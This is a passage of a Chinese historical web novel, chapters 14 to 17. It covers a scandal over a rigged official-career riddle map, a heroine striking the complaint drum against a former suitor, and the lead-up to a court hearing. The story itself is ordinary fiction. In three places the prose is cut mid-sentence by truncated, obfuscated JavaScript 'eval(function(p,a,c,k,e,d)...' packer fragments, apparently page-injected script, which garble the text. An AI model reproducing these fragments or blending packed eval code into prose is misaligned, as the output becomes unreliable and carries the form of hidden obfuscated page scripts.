“——今有举子佚名,登科,初授吏科给事中,协掌吏部政事,后逢高官举荐,留任吏部员外郎一职,后因表达政见时殿驳失仪,考评失格,左迁集贤殿校书郎,从事国史修撰之业。同年,转任光禄寺少卿,期间被弹劾所修国史中存在笔误,罚没官俸一年,出任崇安郡郡尉。” “外放崇安后,佚名政心懈怠,在职期间,贪墨粮饷获罪,念其数额微薄,上命撤案,免其牢狱之灾之余,再贬,贬任招远签判。” “任期第三年,佚名破获当地要案有功,蒙朝廷恩典复官,又受庆律官典三卷第十九条籍贯回避制度所限,不得与其时任光禄寺卿的同乡互为臣属,遂离光禄寺,转集贤殿直学士。” “返朝第五年,佚名在刊缉经书中建树颇丰,加之文辞典雅,擢任知制诰,正式接触政事机要,又于次年述职中考评取优,当履庆律官典二卷三十七条,授翰林学士。至此,佚名前途无忧,五年后,晋至参知政事,享三品官俸。时年距其登科,满打满算刚好二十载。” 高豫复盘完毕,简单评价。 “先不说出题者为了提高难度,一路鼓吹仕途坎坷,在当前鼓励科举取仕的政策环境中合不合适,就说其大费周章,投机取巧,最后构设出的,竟是这样一位污点功臣。” 鸦睫一振,高豫质问役使。 “朝廷对贪墨之举容忍底线极低,自景仁四年秋起,便勒令案牍库彻查线索,即便官员的履历毁誉参半,有这样一条劣迹存在,也非仕人所能姑息。劣迹功臣难登大雅之堂,这样背离取仕价值的答案,却有人倒逼解题者寻之,并将其视为正解宣之于众,敢问樊楼是何居心?” 人群静了一瞬,刹那间声讨四起,杜秉林向后踉跄一步,等他再抬头看那张平仕图时,忽然觉得帛画所载,面目可憎—— 稳坐朝端的权要咧开唇齿,嘲笑他从始至终瞻仰的东西,不过只是一场骗局。杜秉林浑身战栗,从这突然揭穿的惊险里,一寸一寸嗅出恶意。 “此题解不出也罢,只要有人说出答案,若没有清晰的思路澄清自己,澄清立场,反倒要面临强烈的责难,这样一来,樊楼岂不是把我等学子骗进来杀?” “岂有此理,效仿放榜却编织险途,结果粉饰了一群拥功自重的污吏,如此目无王法,难道不怕今上治罪,责你们一个儿戏朝纲,离经叛道!” 儒生们群起围攻,役使惊慌失措,想不到苦苦盼来的破题人,三言两语的功夫,就把整座樊楼推入险境。 一阵推搡中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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冯筝拉起云雀衣袖,边走边解释,樊楼揽客的阵仗这样大,今夜一过,百官图被诟病是迟早的事。 如果站出来破题的不是高豫,换句话说,如果破题人炫耀着夺魁,一时没有看穿猫腻,不但捧场的学子们要遭殃,就连已经殒命的高相,也得在言官们的奏劾上滚一遍泥。 云雀似懂非懂。 冯筝静静望向楼宇喧嚷处,似乎能看见,不久后,闹得满城风雨的图纸捅到皇城,官员们品咂一遍,顺从民意,抵制罪臣功荫这一条恩典,高豫以后,复官复荫就更难了。 金科玉律,对死囚尚留有宽余生机,却唯独不能宽赦,一个根基已毁的无辜臣民。 察觉这幅图的恶意,意在高豫而非高相后,冯筝再听儒生抗辩,禁不住想到,他们的清誉是保住了,高家却凉得更透了。 视野乌泱泱一片,粗粗望过去,满眼都是幞巾软裹。 高豫站在熙攘处,灰色兜帽遮住他额头,脸颊的轮廓隐在阴影中,役使被逼急,突然厉声盘问,破题者到底是何来历,他就转过这半幅容颜,缓缓朝她看来一眼。 这一眼说复杂复杂,说纯粹也纯粹,好像一个寻常的回眸,随口问一问友人见解。 完全没在意,距离钦差宣谕才过去不久,这时候自曝来历,就是真的给自己招黑。 高豫缜密圆融,做不出自伤颜面的事,冯筝深信此理,却隐隐觉得一阵不安。 她就摇头示意不能讲,不准讲,直到瞥到一只手,蓄意揭露他的全貌。 冯筝瞳孔缩住,尝试唤醒他注意,偏他纹丝不动,一如既往的宽和从容。 那只饱含恶意的手越来越近,暗暗触碰披风一角,咫尺间,突然被展青一把掐住。展青推开作祟的仆役,高豫回过身,胡驹进拱到面前,憋不出话,又毕恭毕敬地垂首挪开。 儒生们察觉这边动静,料定捉住把柄,语气更甚,“问不出解题人来历,樊楼就要出阴招害人?” “就是笃定我们寒门学子没有背景,所以想要趁机欺压!” 赛事前,大多数人都自报了家门,对胡驹进有印象,眼见胡驹进来到青年身边,态度恭顺孝敬,便都当高豫是他旁支疏属的族兄,再也没有多余的想法。 他们逼樊楼供出始作俑者。 “樊楼制出这样的禁图,却一再撇脱责任,那你们倒是说说,这图究竟何人绘编?” 这图究竟何人绘编,役使也答不出个所以然来,东家迟迟没出面,他只能灰溜溜离开,专程去请。 回廊幽深,楼道曲折,役使走得跌跌撞撞,叩开一道虚掩的门,他罔顾礼数闯进去。 “东家,平仕图有问题!” 董余昉僵握着酒杯,惊疑看向对面,对面背影细微一动,江涣臣拧身,转过一张茫然且疑惑的脸来。 15. 第15章 董余昉吩咐役使把图撤掉,临时换上花鸟绘遮丑,役使把门关拢后离去,董余昉再也没有闲情喝酒。 他拂袖而起。 “照他所说,那名破题者声韵章挺,循循引导众人思路,没把樊楼捅出个窟窿,定然不肯善罢甘休。江主顾你如实讲,这图到底出自谁的手,竟要如此刻薄于我?” 编撰曲折仕途的方式有很多,一旦剑走偏锋,设以劣迹攻其品行,性质可就完全变了。董余昉按住桌沿,向图纸的先手人讨要个说法,完全没想到,江涣臣同时拍案而起。 “我倒要先请教你樊楼,交易的银两早就结清,拖到我启程当天才把图挂出,这是把我摆了一道?” 董余昉嘴角抽搐了一下,想要昧掉图纸的私心,早在役使讲明惊险时就已经荡然无存,此刻被点破,没敢再把怠慢的话挂在嘴边。 满室俱静,江涣臣按捺着一股躁郁。 出于偿清以前欠的人情债这一考虑,告假前他受朋僚所托,答应把图带回宣城,当时没问意图,事后又只管照章程去做,自然不知道,这道藏题图,背后竟然在杜撰朝纲。 “我相中樊楼办事,只是一点偶然因素,令樊楼蒙难,顶多算是误伤,而樊楼招来能破题的人,没打响名声反倒被搅局,只能说明你不走运。我和你没过节,没道理要刻薄于你,这就把自己当成靶心,未免有些太看得起自己。” 这话不算友好,和此前把酒言欢时两副面孔,董余昉还要理论,却被江涣臣一句话堵住了喉咙。 “借书吏,挂禁图……官府对官员经商限制严格,董大人与其在这里担忧挨儒生的骂,不如想想,这事若传到衙门中去,如何向学事司交差才更要紧。” 塾馆俸薪微薄,以前他倒卖典籍,换一些钱来贴补家用,学事司诸位都略知一二,但接掌樊楼之事,他还未曾向上峰报备。 想到樊楼被查封事小,影响官籍可就糟糕,董余昉赶忙翻出笔墨,“我这就写自理书交待实情!” 他急得乱了阵脚,酒杯酒盏碰落一地,蘸了墨的狼毫刚戳到纸面,就被江涣臣一把攥住了笔杆,江涣臣暗斥愚钝。 “你这时候写自理书,胆敢写它一个字,连篇累牍就都是错。” “那怎么办?” 董余昉掬一把辛酸泪,寄希望于江主顾替他摆平一切,江涣臣把人扶稳站定,端得一身修养无边。 “我借用宝地所付租钱,够你挥霍好一阵了吧?” “你散些家财赔个不是,平了那群儒生的怒,给足他们脸面,多少能纾解眼前困境。你在学事司执事,若被衙门查办,官府的威望也要受影响,所以只要事情不严重,他们只会轻拿轻放,至于你擅自经商而瞒报,等到这幅图淡出视野,相信以上级雅量,不会跟你计较这些。” 董余昉感觉被安抚到,一时也没有更好的主意,只能吩咐役使们拿赏钱赔礼。 江涣臣推开窗,任由夜风吹散胸中躁郁。 这座雕梁画栋的楼宇,哪怕是一根梁柱也修得气派,江涣臣一路走出去,却连一个眼神也没停留。 出城的车驾就停在桥头,告别这座城只在片刻之间,江涣臣视线向远处抬动,空荡荡的脑海里,短暂闪过一丝留恋。 他是抱着期许回来的,指望她能跟他惺惺相惜,就连薄情退信,也指望着,或许能等来半句挽留。到那时,哪怕仍面临亲族施压,他也能再想想办法从中转圜。 但她只是有样学样地退来了书信,让他彻底明白,这桩婚约有缺的亲事,至始至终,努力争取的只有他一人而已。 江涣臣朝桥头走去,小厮快速尾随,一面掀起车帘,一面把在儒生堆里看到冯家婢女的事情告诉郎君。 江涣臣眼瞳一动,狐疑地问,“这种场合,你确定没有看错?” “那婢女眼宽颈细,很好辨认,小的绝不会看错。”小厮笃定道,尝试自圆其说。 “前阵子冯姑娘去香积寺进香,陪同的就是她,貌似叫云雀,此刻想必也是陪冯姑娘来。冯家要和碧城某大户联姻,消息传得有鼻子有眼,樊楼里又多是男子,她们主仆出现在这里,定是相看准郎婿来的。” “郎君对她牵肠挂肚,她冯家倒是撇脱得快,这么快就把闺女许配了旁人。” 江涣臣撤回腿,刚欲躬曲的腰缓慢挺直。 夜色如一幅脏浓妆面,抹在他脸上,衬得他面貌晦暗幽深。他远眺对岸莹莹灯火,找到某辆眼熟的车辇,偏过头,吐出一句话。 “去请冯姑娘下轿,就说我今夜就要动身回京,远途寂寞,前来请她送我一程。” 察觉郎君脸色不好,小厮悻悻住嘴,担忧郎君意欲何为,“可是这样晚了……” 江涣臣命令道,“从速。” 戌时将近,沿街商贩越来越稀疏。 绫桥连通东西两街,不远处某家摊商前,云雀把一包蓉豆糕塞进车辇。 “姑娘,那江府的小厮现在还守在桥头等回话呢。”云雀稍稍瞟去一眼,“我们真的要送江郎君出城吗?” 冯筝翻出一块蓉豆糕填饱饿意。 这趟出门见过了胡郎,一个照面足够交差,就是不知道,何时被江涣臣捕捉到了行踪。 冯筝想了想,算进赏灯夜听他解释那一遭,生平第二回对江涣臣慈悲。 “他也说了,即刻就要动身走了,我答应最后送他一程,也算给过去的自己善始善终。别担心,像他这样的仕子,把清誉看得比什么都重,只要我们不正面硬刚,他不会拿我们怎么样的。” 绫桥红绸连绵,江涣臣远远走来,临到跟前,正逢听到这样的话。 人家做姑娘的都对他放心,他身边,一个小厮竟还顾虑重重,江涣臣感到可笑。听到连曾经嘴甜喊他准姑爷的婢女,也跟着对他改了称呼,江涣臣轻微遗憾了一下,随即开口请冯筝下轿。 青年涵养依旧,站在五步开外的地方等她露面。 她鬓戴碎珠花,罗裙压玉绶,江涣臣再平静,也禁不住猜疑她准郎婿究竟何许人物,竟劳她用这样花枝招展的方式讨他欢喜? 云雀及小厮在原地等待,他们则顺着绫桥返回,一路送到车驾跟前,江涣臣递出手腕借力,摆明还要请她登车。 冯筝含笑婉拒,搬出提前拟好的腹稿道别,“事已至此,咱们能说的话也都说尽了,以后你我一别两宽,就祝江郎君前途无量,和廉姑娘做一对恩爱伉俪。” 江涣臣很失望。 “阿筝,不看僧面看佛面,你对我不赏脸也罢,连慧娘也不在意了吗?” 他面朝车帘安慰,“慧娘,别难过了,冯姑娘在这,出来见见。” 心头微微凝动,她撩起车帘给江慧织致歉,迎面只有空荡荡的内壁。反应过来被诈的瞬间,她迅速要撤,偏被一股大力推进了车厢,她挣扎闯出,一人捞过她胳膊往车厢里按,迎面捂眼。 黑漆漆的对峙中,冯筝薅住他衣领,“江涣臣你发什么疯!” 衣领扯乱,露出一寸白花花的锁骨,江涣臣丝毫没觉得羞耻,贴心替自己把衣襟掖好,再追究她答应送行却反悔的事。 然而话到嘴边又打了个转,“你衣裳上什么味道?” 或许是在樊楼凑热闹时,偶然沾到的脂粉味。 冯筝拂开眼前手掌,想到青年男子多不喜脂粉,早知有此劫数,她恨不能往脂粉香腻里滚上一圈,好叫他倒了胃口离她远些。 他漆黑的影子压在车壁,随她擅自起身而倒退,江涣臣坐起来,吩咐侍从驱车到城门处,淡淡威胁。 “你那名婢女还在我小厮手里,若不想她遭遇不测,就安安静静陪我一程。” 两年书信来往,冯筝摸清过他的脾性。 谅他不敢胡来,便刻意挪开半尺的距离,一心算着抵达城门的路程。 她的安静敛然,在他看来是一种柔弱钝感,坐实了逆来顺受的性格,却没想过长辈面前,她愿意接纳一切安排,除了逆来顺受,也可能是她懒得算计。 冯筝恰恰是后者而已。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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青色绦带束她细瘦的腰,鼓面比她宽阔太多,鼓架红漆斑驳,废置太久而成为摆设。硬山灰檐顶撑起夜幕,她背悬鸣冤鼓而立,横眉竖眼地扫过来,增添一抹惊蝶掠水的冶艳。 江涣臣提步上前。 “前年腊月十一,你问我粥可温,嘱咐我莫食残羹剩饭,早些去膳堂抢热饭吃。” “去年城隍庙石榴繁盛,你问我是酸是甜,我便翻墙盗得一二,第一手即寄给你尝鲜。” “你学着其他女子嘘寒问暖,仿照她们体贴的模样给我关照,哪怕依葫芦画瓢,也总是学得不到位,字里行间,看不出半点情意缠绵。刚刚我透露出,在京期间,我与廉春棠已然暗通曲款,你连一点拈酸吃醋的想法都没有,足以见得这段关系走到尽头,你仅仅只是付出了时间。” “唯独我在黯然神伤。” 江涣臣微微阖眸,再抬眼时笑意浓稠。 “冯筝,你是个不折不扣的纸美人,没想到怨怒起来竟显得生动。你我婚事告吹,是我轻信失察,我不怪你,你不陪我返京,我也不是非得强求。只要你照顾一下我的颜面,半年后再另行议亲,待我和廉春棠完婚,我便答应你,婚丧嫁娶,各不相干。” 自打看清他满腹算计时起,冯筝便不再相信他任何说辞。 江涣臣还欲上前,冯筝攥起鼓槌。 “站住,衙门重地,你岂敢再往前一步!” 她要敲登闻鼓,要告他的状,江涣臣轻轻一笑。 “你敢吗?” “大庆海晏河清,早已不是民告官者反倒要先挨一顿板子的世道,我清白家世之女,却险些被强做妾室,朗朗乾坤受此大辱,我有何不敢?” 说完扬臂一挥,鼓槌震得虎口发麻,但她根本顾不得手腕酸胀,奋力敲响那面鼓,因为她知道,身后的人已拔步逼近。 鼓声疲弱渐强,从寅恭门波及榜房科房,惊醒一路熄暗的灯。一阵极其漫长的死寂过后,无数黑影闻讯而动,刹那间如乌鸦过境,兵鞘铮鸣间,附近百姓秉烛窥探。 皂班的差吏推门而出,在堂官“击鼓者谁”的威问声中,冯筝丢下鼓槌就要陈情。 江涣臣先一步挡开,拱拳跪禀。 “末官太常寺奉礼郎江涣臣,状告塾馆冯承琨之女冯筝私制禁图并售卖樊楼,意图辱蔑朝纲,离经叛道!” 16. 第16章 冯筝没有在昭威堂逞能动武的胆魄。 也没有糊涂到在审官明令“堂下者跪”时,还只顾着质问江涣臣脸面与廉耻何在。 她结结实实跪了下去,抬起一张冷静的脸,望向匾额前的黑袍堂官,道一声容禀后替自己辩解。 “大人容禀,民女含冤莫白。” 四周衙役林立,匾前官威如山,理智告诉她现在讲冤是最好的选择,但那股被人戏耍多次的怨怒,还是使她偏过眼睛,满含费解地问。 “片刻前,江郎君说想赠我刑书乐籍,我说对乐籍不感兴趣,你拉拢我不成,所以现在就对我刑律伺候。” “若当时我讲对刑书不感兴趣,你是不是就要用乐籍招待,逼我到乐坊,陪你一起赏弦听曲?” 这时候还记得嘲弄他,江涣臣笑出声来,称赞她口齿伶俐,可惜伶俐劲用错了地方。 正要编出个合理的名堂来颠覆罪责,钉死关于她的“有罪推断”,就察觉堂前审官,因为她这副说辞而发生了动摇。 郡守年事已高,断狱决讼的差事便递级落到郡丞手中。郡丞凝神,细纹簇拥着一双凌厉眼眸,在江涣臣启齿的同时敲响了镇尺,打断两人未尽的话。 “衙役已经前往取证,今夜起,郡衙里就得多一卷案牍,你等谨记,典史官一旦落笔成字,任何诬告都要付出相应的代价。” 按照登闻鼓制度,状鼓一响,无论昼夜都得列班登堂,并由典史官记录盘诘过程。 踏出郡衙接状前,郡丞想着,他辛苦耕耘了一年的太平,不能简单栽在这样一则纠纷里,但当青年人喊出“辱蔑朝纲”,姑娘家回敬“逼良为妾”后,脸色顿时变得铁青。 何谓禁图,何谓辱蔑朝纲,和逼良为妾这种典型案情相比,情形过于模糊,更需要细细甄别才行。事发突然,衙门还没来得及掌握任何证物,郡丞聆听辩词,便特意多花了门心思判断。 登闻鼓设立多年,见证过许多荒唐的事。苦主击鼓报官,惹得恶徒恼羞成怒,反被恶徒攀咬一口的情况曾经就存在;有人为遮掩罪过,主动击鼓鸣冤,靠博取怜悯的手段诬陷报案者的事情也可能发生。 冯筝的嘲弄话,给此案提供了一段前情,江涣臣近似默认,郡丞看出疑点,判断向前者靠了靠,这才敲响镇尺,提醒诬告者需三思而行。 江涣臣停顿住,神情依然没什么变化。 冯筝没回答,睁全一双疲惫且酸胀的眼,对同样跪立着的青年,比起唤醒他的良知,选择跟他撕破脸面。 “郎君说我私制禁图并售卖给樊楼,什么离经叛道,又涉及朝纲……郎君对这些知道得甚详,我反倒要请教,现在挂在樊楼里的那幅图,儒生们连头绪都尚且理不清,江郎君怎么就推断得如此详细,就这么肯定,沾惹不到朝堂事的我,有能耐完成这样大的鸿篇?” 她腮颊绷紧,眸若映漆,把被打断的状告弥补完整,“民女冯筝,家住宣城砚巷,一告太常寺江奉礼逼良为妾,二告其亵渎我不成,欲挟私报复,假借樊楼的过错栽赃于我,请大人明鉴。” 于是镇尺撂案,堂官接道,“好,那就把逼良为妾之事如实道来!” 两端衙役黑衣劲装,哪怕训练有素,遮掩声息,那些肃整的森冷的,或视线或余光,落在她伏低的腰肢上,令刚刚还振振有词的她,短瞬间还是难以启齿。 地面很凉,寒意浸透裙料,密密实实扎进膝盖,冯筝微微打颤,江涣臣便是此刻起了身,无视堂威伸出了手。 冯筝敏捷躲开,他扶她而起的动作落了空,迎着镇尺急响声,江涣臣被衙役按回原地。 “你宁愿跪在这里忍辱负重,也百般不情愿跟我挨边,试探一点和解的机会。” “你控诉我的错处,指责我要对你挟私报复,却不去想我赌上前程陪你过讼堂,可能只是想逼你向我服一次软。” 在这之前,他对她的逆来顺受觉得碍眼,对她随意接纳新的婚事而感到不平,相对的,便也自信他豁出许多,必能得到她的示弱。 没想到最后等来她弃如敝履,等来自尊破碎一地。 隔着皂袍如堵的缝隙,他转来视线,语气失望透顶。 “看来之前种种表达心迹,我说我如何黯然神伤,冯筝,你是一个字也没听进去。” 一顿致命的发言,使在场堂官面面相觑,但他丝毫看不出怯懦,眼底神采悲悯而抖擞。 说实在话,搬出禁图压制她,原是临时起意的自保手段。 然而她爹和董余昉出自同一个官署,关系藕断丝连,以他对禁图的掌握,未尝搬不出比胡诌更令人信服的证词,钉死关于她的“有罪推断”。 先前把握着限度诬告,不过是在等她服软,眼看关系彻底闹僵,自知不能再心慈手软,江涣臣默默清嗓,打算做出应对这时,一直神情难辨的郡丞,摆手示意衙役回避。 “冯姑娘击登闻鼓再先,她欲先提出抗辩,理应满足她,便容她把证词说完。” 两排衙役接到授意,一致转鞘背朝审堂。当猜疑的影子反转成护佑,流连在背上的芒刺顿时消散,冯筝浑身一松,抬腰定眸,把险些被欺辱的始末娓娓道来…… 堂院皎月悬霜,云雀双眼通红,揣着一包蓉豆糕焦急地等。 距离被守卒阻拦在这里,已过去半刻钟,怀里蓉豆糕早就凉透。云雀正纠结,要不要先回府报信,就撞见冯筝和江涣臣先后走出。 云雀跑过去,握住她的手,声音颤栗,“姑娘失了踪,奴婢本来就是要报官的,所幸姑娘安然无恙。” 在云雀接到自家姑娘的同时,江家小厮也赶到了郡衙。 眼盯江家主仆渐渐走远,云雀扫去一记窥探的眼神。 冯筝唤回她的注意,“你没事就好。” 被守卒阻拦这么久,云雀已经得知一切,脑袋乱糟糟的,“奴婢能有什么事?” 冯筝脸色不太好,既出于被江涣臣蒙骗,也出于他的诬陷栽赃。 她表面冷静,实则早就惊疑于他对百官图的猫腻信手拈来,是否意味着,他就是编纂此图的始作俑者。 或许他们一样,都只是片刻前破题局的旁观者之一,又或者他与制图者确实颇有渊源,这些她通通来不及细想。 她唯一坚持的是,既然想用禁图耍她一招,那就让他如愿好了,要让他知道,他有在堂官跟前自报官职的底气,就要时刻做好遭殃的准备。 冯筝胸有成竹,谁知云雀的问题就把她难住。 “姑娘,大人接了状子没?” “……我还没来得及写诉状呢。” 讲到这里,冯筝声音酸酸的,“昭威堂两旁站着的,是寻常捕吏而非杖官,那审官拍案用的不是惊堂木,而是压纸的普通镇尺。他们态度这样敷衍,谁知道有没有把我们当一回事。” 云雀轻轻地瞭,“姑娘,衙门都是白日升堂,哪有大晚上就对簿公堂的道理?” 冯筝微微一愣,抬手按了按额角,“哦,是我气糊涂了。” 比起登闻鼓前,被他捷足先登时的惊怒抓狂,她此刻情绪已经平稳很多,不过她根本松懈不起来,算算时辰,做客碧城的双亲们就要回府。 “回去拾掇拾掇。”冯筝拉住云雀,快步往回赶,“除了祖父那里先瞒着,要准备敬两盏安神茶了。” 或许是云雀把安神茶的料下得太猛,让本来占尽道理的她莫名感到心虚。 又或许是二房一路舟车劳顿,母亲敷粉也没遮住的疲惫,令她疼惜他们辛苦。 冯筝当晚什么也没讲,阖府拥有了一顿好眠。 隔天把昨夜发生的事一股脑告诉双亲,冯承琨起先绷着没动,眼角硬生生挤出皱纹,然后叫仆妇去收拾蒲团,方便大小姐到戒律堂罚跪。 冯筝就适时掏出连夜写好的状纸,借口抽身。 “郡丞大人说了,让我今日就去递呈诉状,我知道爹抹不开面子,可江家的郎君欺辱我又诬陷我,如此恶贯满盈,总得让他吃一顿官司。” 一掏出状纸可不好,冯承琨双眼鼓瞪,哪怕提前被孟氏提点过,对待亲女要温柔些,还是忍不住斥责。 “我罚你就是想要给你禁足,你一个未出阁的姑娘,怎么好意思去郡衙里面亲自过堂?” “不说他强抢良室女做妾没有得逞,只凭你一纸证词无法定罪,就说衙门届时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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冯公点点头,“登闻鼓的动静满郡衙都知道,你伯父已经捎信给我,我思量再三,认为这件事里,没有谁非得豁出去脸面。” 冯公扭头叮嘱冯承琨,“你现在就去郡衙找你大哥,让他想办法跟郡丞商量,对簿公堂的时候,能否不公开审理。” 他这么做理由有二。一则此案事关女子闺誉,申请无关人回避合情合理,二则冯承纲是郡守佐吏,郡丞没理由拂他面子,冯承琨连连应下,这就出门安排此事。 等待结果的期间,孟秋把冯筝带进暖阁里说话。 “可惜胡督学保媒结束后就已经回京,否则咱们腆着脸请他出面,也比你伯父去周旋更有胜算。” 孟夫人轻轻叹息,突然想起回府当晚,她曾问起女儿对胡郎君印象如何,还记得那时她便心不在焉,现在前后圆起来,也想通了她是被江家那厮惊扰到,所以才会心神不宁。 冯筝也没闲着,把昨夜她和江涣臣相处的详情细细道来,坦白江涣臣欲软硬兼施,对她不完全都是威逼。 孟夫人察觉隐情,语出猜疑。 “他求你半年后再议亲,并许诺不再胡搅蛮缠,话里话外,都意在让你比他未来妻眷晚一些出阁……所以阿筝,你真的不懂他的深意吗?” 冯筝没有正面回答,眼底神色变换。披毡填絮宣软,她不自主拢了拢薄毡,就听到母亲立刻安慰她道。 “你拒绝得没错,管他打的什么算盘,只需知道,咱好端端一个清白人家,没有给他守贞的道理就够了。” 孟秋试着转开话题,误以为女儿心情感伤,尽量不触动她的难过处,手指突然被人握拢,冯筝摇摇头,睁起明镜一般剔透的眼。 “他曾责怪我,这段关系走到尽头,我仅仅只是付出了时间,很遗憾当时没有回答,细细想来,也决定未来不可能回答。” “寄给他的每封书信,都是由我亲笔书写,既不曾誊抄他人笔墨,也不曾请教旁人润笔。我自认为花费的心思拿得出手,他却轻视我的付出,一而再再而三轻贱我的时间,从未想过,对一名待字闺中的女子来说,青春到底有多贵重。” 冯筝一字一顿,残辉西沉,把影子烘出一圈圈钝晕,这一天,被动的等待终于要落幕。 “他不理解我的付出,就像解释谣言时,我不理解他的苦衷。他要刑律伺候我,污名埋没我,如果这些都不能证明,他对我的恶意远胜于善意。” “枉费我读过三年儒经,善恶曲直也分不清。” 17. 第17章 登闻鼓敲响那夜,江冯两姓在讼堂过了遍招,官差闯进樊楼的时候,那幅被用来遮丑的花鸟绘到底没能李代桃僵。 平仕图被指证禁图,官差以疑似罪证的理由没收,宽阔的图幅卷进匣盒,幅面织料轻薄,倒也没有看上去那么沉重。 黑黢黢的官差来得快去得也快,而被“江主顾”安抚得还算服帖的董余昉,或者说,刚刚散了银两,平息了儒生们嘴仗的董余昉,对郡衙出动之快直觉得匪夷所思。 他腮帮咬紧,依然相信江主顾那副说辞,认为官府应该轻拿轻放,不应该这样正经才对。 会惊动官府主动来查,肯定已有人先捅到衙门。董余昉没空管,是哪个混球走漏的风声,只是控制不住地惊惧害怕,唯恐牵连妻儿,索性宿在了樊楼厢房,等一切尘埃落定后再做打算。 第一夜很安详地过去了,第二夜,他毫无疑问地做了噩梦,梦到巡检司的官兵捉拿他问罪,他不停喊冤,他们青面獠牙,喊一句冤就扎他个窟窿。 董余昉浑身是汗,惊醒时看到帐幔纷飞。 薄而透的灰帐裹着烛影翻滚,后半夜的风闯进睡前关过一遍的窗,把湿汗黏腻的衣领吹干,他刚欲睡下,瞬间睁眼。 寒意顺着脊背攀到头皮,他颤颤巍巍走出床帐,掏出火折子,点亮全部灯盏。 薯藤芯烧出热屑,点点金红洒落,一人踩着金屑接近,闯进他回头的视野里,豁然间如金相玉映,露出和粗布袍极其割裂的贵重感来。 董余昉大惊,“什么人,深更半夜的来做什么!” 没等做出抵抗,缀在高豫身后的展青越步,把一块腰牌怼到他面前,拇指挡住睦州二字,“观察司押司副处置使”一行注释,在董余昉眼里扩张成满瞳。 连随从都是副使级别,主子是何等权要可想而知。 董余昉慌乱,不记得自己何时竟招惹到观察司这群煞神,观察司设立地方治所,最近一座也远在宣州府,想想只能是禁图的错,赶紧推给郡衙挡灾。 “大人,藏题图不是我的,卑职在学事司勤勉朴素,一时财迷心窍才给它安排了排面。要知道藏题图已经被郡衙拿去,他们捉拿了谁又冤屈了谁,和我没有一点关系,大人们负责勘察纠错,要治罪也不能治我的罪啊。” 说完噗通一声跪下,为首的男人扶住他,声音静谧和煦,却字字懊恼憎恨。 “……他们欲设局困住我,请愿奏杀我,你作为他们相中的帮凶,难道就没有半点错处?” 董余昉瞳孔骤缩,传闻权臣关系错综复杂,猛然听到这些,以为踩进了上层圈流争斗的漩涡,深谙知道越多死得越快的道理,抢过话题,立刻撇脱道,“不是这样的!” “江……主顾说过,他相中樊楼办事纯属偶然,让我蒙难都是误伤,错就错在我不走运,还叫我别太看得起自己……” 高豫不满,见他还欲隐瞒什么,出声打断,“编,继续编。” 董余昉这就说不出话了,展青甩出剑鞘一推,亮出一寸雪白刀刃,剑意擦着他脖颈而过,被高豫出手挡在毫厘之间,董余昉差点丧命,心理防线终于崩塌。 定定吐出一个名字,那雪白的刀刃立刻收鞘,凛冽锋利划破空气,远在江府书房,揽灯静坐的江涣臣,脖颈突觉一阵寒凉。 丑时三刻,董余昉哄服自己熄灯就寝。寅时时分,冯筝梳戴整洁,在蘅娘子的叮咛下又温习了一遍讼堂的规矩,然后去郡衙对簿公堂。 郡衙明刑弼教,堂门之前还有申明亭等,百姓堵在这里围观,官府声称不公开审理,把他们远远挡在申明院前。 冯筝提裙走上石阶,在离昭威堂还有一段距离的地方驻足回首,她戴着帷帽看不清环境,不过单听儒生满腔不平,就能猜到他们对此事意见很大。 儒生做得出一手锦绣文章,也擅长讲一口堂皇的道理。 他们主张旁听,大多冲着禁图案而来,说不能因为它和逼良为妾案并案同审,就把他们的知情权也排除在外,殊不知,禁图案能否单独成案,取决于今日过后,诬陷罪责能否成立:结果不同,影响此案性质层级,审理机构便也不同。 冯筝和江涣臣已经各呈诉状,很难想象,她只是在樊楼围观了一场题局,就把自己赔进去了。 百官图的恶意意在高家余嗣,她和高家沾亲带故,就凭这层一损俱损的关系,她也有把握摘清自己的嫌疑。 然而,也就只够摘清嫌疑,更进一步她就云里雾里了。 冯筝思绪飘远,想过制图者面貌,可能是针对高家的权佞恶吏,朝堂关系错综复杂,远不是她一个郡吏之女能窥破的。 站在制图者设的题局里,迷瞪得就像隔雾看花,但偏偏眼前天光醒亮,给了她一丝窥破的错觉。 拨开迷雾后就是风烟俱净,她便伸手,拨开帷纱,人群陆续朝这边望来,一只手突然制止了她。 高豫的手温暖干燥,他笑意盈盈,仿佛出晴的某天散散步,遇到她走神,就纯粹想来搭一把手。 “别看了,人言可畏,当心受难。” 帷纱重新垂下去,他的面孔便也被这雾色遮掩,她又听到他问,“这奉礼贼的案子,你打算要如何处理?” 突然提起这些,冯筝怔怔看着他,仿佛还没反应过来,“奉礼贼”形容的是谁。 但这些都是次要的,重点是她清楚地知道,据她曾经察言观色,高豫在樊楼招摇搅局,充其量是给儒生们撑腰,以及给她一个回应,而他本人,本来并没有对峙的想法。 高家势单力薄,不是适合跟背后恶吏硬碰硬的时机。对于高豫来说,当夜事毕,他确实打算静观其变,或者高高挂起不做理睬,直到登闻鼓的动静传到耳朵里,他突然间就改变了主意。 她不回答,高豫也就放弃追问,“没关系,反正能够亲眼看到,也不急于这一时半刻。” 他转身向前,“冯姑娘,准备好了吗?” 高豫手腕微动,走之前轻轻带了一下她的袖沿,受轻微引动所感,鬼使神差的,她就跟随他朝讼堂走去。 百姓被拦在申明亭外,官府对高豫的宽容就显得有点宾至如归,儒生们不满,衙役也不满。 “闹什么,那是冯家家眷,冯书曹的妻舅子。” 维持秩序的衙役逮住挤得最勤的那个人,一顿臭骂,“你往前拱得这样殷勤,说说看,你又是公堂上两家谁家的亲戚?” 姨舅给甥女撑腰,叔婶给侄妹坐阵,是民间打官司常有的事,这种亲属陪审的俗例挑不出错,人群闻言没有意见,被逮着领子的儒生也无话可说。 云雀蹬蹬跑出来,把高豫的话听了个全,声音难掩欣喜。 “姑娘别再耽搁了啦,有大爷护法,高郎君撑腰,里面还有奉礼贼陪跪,姑娘进去就不怕会冷清啦。” 过讼堂这件糟糕的事,竟被她形容得无比热闹,冯筝扑哧一声笑出来,拂开帷帽,就撞见高豫含笑回应。 